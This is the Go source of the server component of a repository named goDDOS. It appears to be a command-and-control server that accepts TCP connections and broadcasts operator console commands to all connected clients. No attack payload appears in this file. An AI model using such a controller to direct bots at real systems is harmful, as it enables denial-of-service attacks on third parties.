arnaucube
arnaucube/goDDOSPublic Self-hosted repository
goDDOS/server/main.go
server/main.goRaw
  1package main
  2
  3import (
  4	"bufio"
  5	"fmt"
  6	"net"
  7	"os"
  8	"strconv"
  9	"strings"
 10)
 11
 12const (
 13	CONN_HOST = "localhost"
 14	CONN_PORT = "3333"
 15	CONN_TYPE = "tcp"
 16)
 17
 18var allClients map[*Client]int
 19
 20type Client struct {
 21	outgoing   chan string
 22	reader     *bufio.Reader
 23	writer     *bufio.Writer
 24	conn       net.Conn
 25	connection *Client
 26}
 27
 28func (client *Client) Read() {
 29	for {
 30		line, err := client.reader.ReadString('\n')
 31		if err == nil {
 32			if client.connection != nil {
 33				client.connection.outgoing <- line
 34			}
 35			fmt.Println("")
 36			fmt.Println(line)
 37		} else {
 38			break
 39		}
 40
 41	}
 42
 43	client.conn.Close()
 44	delete(allClients, client)
 45	if client.connection != nil {
 46		client.connection.connection = nil
 47	}
 48	client = nil
 49}
 50
 51func (client *Client) Write() {
 52	for data := range client.outgoing {
 53		client.writer.WriteString(data)
 54		client.writer.Flush()
 55	}
 56}
 57func (client *Client) Listen() {
 58	go client.Read()
 59	go client.Write()
 60}
 61func NewClient(connection net.Conn) *Client {
 62	writer := bufio.NewWriter(connection)
 63	reader := bufio.NewReader(connection)
 64
 65	client := &Client{
 66		// incoming: make(chan string),
 67		outgoing: make(chan string),
 68		conn:     connection,
 69		reader:   reader,
 70		writer:   writer,
 71	}
 72	client.Listen()
 73
 74	return client
 75}
 76
 77func watchConsoleInput(conn net.Conn) {
 78	newcommand := bufio.NewReader(os.Stdin)
 79	for {
 80		text, _ := newcommand.ReadString('\n')
 81		text = strings.TrimSpace(text)
 82		// send newcommand back to client
 83		if text != "" {
 84			fmt.Println("console input command: " + text)
 85			fmt.Println("sending command to " + strconv.Itoa(len(allClients)) + " connected clients")
 86			for clientList, _ := range allClients {
 87				//if clientList.connection == nil {
 88				clientList.conn.Write([]byte(text + "\n"))
 89				//}
 90			}
 91			fmt.Print("enter new command: ")
 92		}
 93	}
 94}
 95func watchConnectionInput(client *Client) {
 96	for clientList, _ := range allClients {
 97		if clientList.connection == nil {
 98			client.connection = clientList
 99			clientList.connection = client
100			fmt.Println("Connected")
101		}
102
103	}
104
105	allClients[client] = 1
106	fmt.Println(strconv.Itoa(len(allClients)) + " connected clients")
107	fmt.Print("command to send to the clients: ")
108}
109
110func main() {
111	allClients = make(map[*Client]int)
112	listener, err := net.Listen(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
113	if err != nil {
114		fmt.Println("Error listening:", err.Error())
115		os.Exit(1)
116	}
117	fmt.Println("Listening on " + CONN_HOST + ":" + CONN_PORT)
118
119	for {
120		conn, err := listener.Accept()
121		if err != nil {
122			fmt.Println(err.Error())
123		}
124		client := NewClient(conn)
125		go watchConnectionInput(client)
126		go watchConsoleInput(client.conn)
127	}
128}